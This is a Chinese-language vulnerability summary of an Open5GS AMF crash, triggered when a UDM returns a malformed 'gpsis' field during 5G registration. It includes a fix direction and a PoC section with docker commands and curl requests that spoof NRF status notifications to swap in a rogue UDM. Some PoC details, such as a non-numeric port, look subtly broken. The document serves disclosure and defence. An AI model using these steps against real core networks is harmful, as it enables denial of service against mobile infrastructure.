# Open5GS AMF 崩溃漏洞总结 ## 漏洞概述 在 Open5GS 的 AMF(接入和移动性管理功能)组件中,存在一个导致服务崩溃的漏洞。当 UE(用户设备)发起 5G 注册流程时,如果 UDM(统一数据管理)返回的 `am-data` 响应中包含格式错误的 `gpsis` 参数(例如 `["msisdn"]` 而非完整的 `["msisdn", "value"]`),AMF 会因断言失败(Assertion Failed)而终止进程。 ## 影响范围 - **受影响组件**:Open5GS AMF - **触发条件**:外部 UE 发起注册,且 UDM 返回的 `am-data` 中 `gpsis` 字段缺少第二个标识符 token。 - **后果**:AMF 进程崩溃(Core Dumped),导致服务不可用。 ## 修复方案 根据 Issue 描述,该漏洞源于 `ogs_id_get_value` 函数在处理字符串时,期望获取两个由 `-` 分隔的 token,但恶意构造的输入导致第二个 token 为 NULL,进而触发断言。 **建议修复方向**:AMF 应安全地处理格式错误的 `gpsis` 字符串,而不是直接断言崩溃。 ## POC / 利用代码 页面中提供了复现该漏洞的 Docker 命令及 curl 请求代码,用于模拟恶意 UDM 响应: **1. 启动恶意 UDM 模拟容器:** ```bash docker run -d --name amf-audit-gnb --network open5gs \ --network-alias gnb.uransim.org \ -v /home/ubuntu/docker-open5gs/configs/internal/ueransim/gnb.yaml:/ueransim/config/gnb.yaml:ro \ free5gc/ueransim:latest /ueransim/nr-gnb -c /ueransim/config/gnb.yaml ``` **2. 替换 AMF 本地缓存中的真实 UDM 为恶意 UDM:** ```bash curl -H 'Content-Type: application/json' \ -X POST "http://AMF_IP:nrf-nfvr/nf-status-notify" \ -d '{"event": "NF_DEREGISTERED", "nfInstanceId": "http://nrf.open5gs.org/nrf-nfvr/nf-instances/4568f20e-30..."}' curl -H 'Content-Type: application/json' \ -X POST "http://AMF_IP:nrf-nfvr/nf-status-notify" \ -d '{"event": "NF_REGISTERED", "nfInstanceId": "http://10.33.33.1:10003/nrf-nfvr/nf-instances/fake-uds-amf"}' ``` **3. 启动恶意 UDM 节点并触发 UE 注册:** ```bash docker run -d --name amf-audit-udm --network open5gs \ --network-alias udm.uransim.org \ --cap-add NET_ADMIN --device /dev/net/tun:/dev/net/tun \ -v /home/ubuntu/docker-open5gs/configs/internal/ueransim/udm.yaml:/ueransim/config/udm.yaml:ro \ free5gc/ueransim:latest /ueransim/nr-udm -c /ueransim/config/udm.yaml -r # 随后启动 UE 进行注册流程,AMF 将崩溃 ```